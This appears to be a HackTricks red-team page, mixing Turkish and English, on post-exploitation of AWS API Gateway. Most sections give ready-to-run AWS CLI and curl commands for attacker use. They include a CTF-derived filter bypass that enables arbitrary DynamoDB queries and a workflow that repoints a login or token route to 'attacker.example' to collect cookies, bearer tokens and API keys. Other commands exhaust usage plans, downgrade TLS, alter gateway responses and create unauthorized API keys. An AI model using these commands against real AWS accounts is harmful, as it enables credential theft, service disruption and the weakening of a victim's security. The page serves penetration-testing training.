AWS - API Gateway Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

API Gateway

For more information check:

AWS - API Gateway Enum

Açığa çıkarılmamış APIs’e erişim

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.

Request body passthrough’ı atlatma

This technique was found in this CTF writeup.

As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH, when checking the Content-Type header of the request, will pass the request to the back end with no transformation.

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Ancak Content-type: text/json ile bir istek göndermek bu filtreyi atlatıyordu.

Son olarak, API Gateway yalnızca Get ve Options izin verdiği için, sorguyu gövdeye koyup X-HTTP-Method-Override: GET başlığını kullanarak bir POST isteği göndererek herhangi bir sınırlama olmaksızın rastgele bir dynamoDB sorgusu göndermek mümkündü:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Enumeration bölümünde anahtarların usage plan’ını nasıl edinebileceğinizi görebilirsiniz. Anahtara sahipseniz ve bu anahtar sınırlı olarak ayda X kullanım içeriyorsa, anahtarı kullanıp DoS oluşturabilirsiniz.

API Key sadece x-api-key adlı bir HTTP header içine dahil edilmelidir.

Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)

Eğer bir HTTP API integration güncelleyebiliyorsanız, hassas bir route’u (ör. /login, /token, /submit) saldırgan kontrolündeki bir HTTP endpoint’ine yönlendirebilir ve sessizce başlıkları ve gövdeleri toplayabilirsiniz (çerezler, Authorization bearer token’ları, oturum id’leri, API keys, dahili işler tarafından gönderilen secrets vb.).

Örnek iş akışı:

REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"

Notlar:

  • For HTTP APIs, değişiklikler genellikle hemen yürürlüğe girer (REST APIs’in aksine, genellikle bir dağıtım (deployment) oluşturmanız gerekir).
  • Rastgele bir URL’ye işaret edip edemeyeceğiniz integration type/config’e bağlıdır; bazı durumlarda patching yaparken integration type’ı değiştirebilirsiniz.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Bu izinlere (apigateway:UpdateGatewayResponse ve apigateway:CreateDeployment) sahip bir saldırgan mevcut bir Gateway Response’u, hassas bilgileri leak eden veya kötü amaçlı betikler çalıştıran özel başlıklar veya yanıt şablonları ekleyecek şekilde değiştirebilir.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Hassas bilgilerin sızdırılması, zararlı betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.

Note

Test edilmesi gerekiyor

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStage ve apigateway:CreateDeployment izinlerine sahip bir saldırgan mevcut bir API Gateway stage’ini değiştirerek trafiği farklı bir stage’e yönlendirebilir veya önbellekleme ayarlarını değiştirerek önbelleğe alınmış verilere yetkisiz erişim sağlayabilir.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Olası Etki: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya ele geçirme.

Note

Test edilmesi gerekiyor

apigateway:PutMethodResponse, apigateway:CreateDeployment

Bir saldırgan apigateway:PutMethodResponse ve apigateway:CreateDeployment izinlerine sahip olduğunda mevcut bir API Gateway REST API yönteminin method response’unu değiştirerek özel header’lar veya response template’leri ekleyebilir; bunlar hassas bilgileri leak edebilir veya kötü amaçlı scriptler çalıştırabilir.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Hassas bilgilerin sızması, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.

Note

Test edilmesi gerekiyor

apigateway:UpdateRestApi, apigateway:CreateDeployment

apigateway:UpdateRestApi ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, API Gateway REST API ayarlarını değiştirerek günlüğü devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir; bu da API’nin güvenliğini zayıflatabilir.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Olası Etki: API’nin güvenliğini zayıflatma; potansiyel olarak yetkisiz erişime izin verme veya hassas bilgilerin açığa çıkmasına yol açma.

Note

Test edilmesi gerekiyor

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan ve apigateway:CreateUsagePlanKey izinlerine sahip bir saldırgan yeni API anahtarları oluşturabilir, bunları kullanım planlarıyla ilişkilendirebilir ve bu anahtarları API’lere yetkisiz erişim için kullanabilir.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Olası Etki: API kaynaklarına yetkisiz erişim, güvenlik kontrollerinin atlatılması.

Note

Test edilmesi gerekiyor

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin